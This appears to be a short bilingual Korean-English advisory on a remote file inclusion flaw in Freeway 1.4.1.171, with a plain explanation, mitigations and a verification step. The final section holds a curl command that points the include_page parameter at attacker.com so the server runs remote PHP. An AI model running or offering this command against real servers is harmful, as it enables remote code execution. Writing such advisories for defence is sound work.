🇰🇷 한글 설명
Freeway 1.4.1.171의 admin/create_order_new.php에서 register_globals 옵션이 활성화된 경우 발생하는 원격 파일 포함(RFI) 취약점입니다. 공격자는 include_page 파라미터를 통해 인터넷의 임의의 PHP 파일을 포함시켜 원격 코드 실행이 가능합니다.
💡 쉬운 설명
웹 애플리케이션이 사용자가 지정한 외부 파일을 검증 없이 실행하도록 허용합니다. 공격자는 이를 악용하여 서버에서 악성 코드를 실행하고 시스템을 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in admin/create_order_new.php in Freeway 1.4.1.171, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the include_page parameter.
📍 영향받는 시스템
Freeway 1.4.1.171 (register_globals=On 설정 시)
⚔️ 공격 벡터
include_page 파라미터에 원격 악성 PHP 파일 URL을 지정하여 서버에서 실행
🛡️ 대응 방법
Freeway 최신 버전으로 업그레이드, register_globals 비활성화, 입력값 화이트리스트 검증 구현
🔧 검증 코드
원격 파일의 내용이 응답에 포함되거나 예상치 못한 코드 실행 결과가 나타나면 취약점 존재 확인
curl -s 'http://target/admin/create_order_new.php?include_page=http://attacker.com/test.php' 2>/dev/null | head -20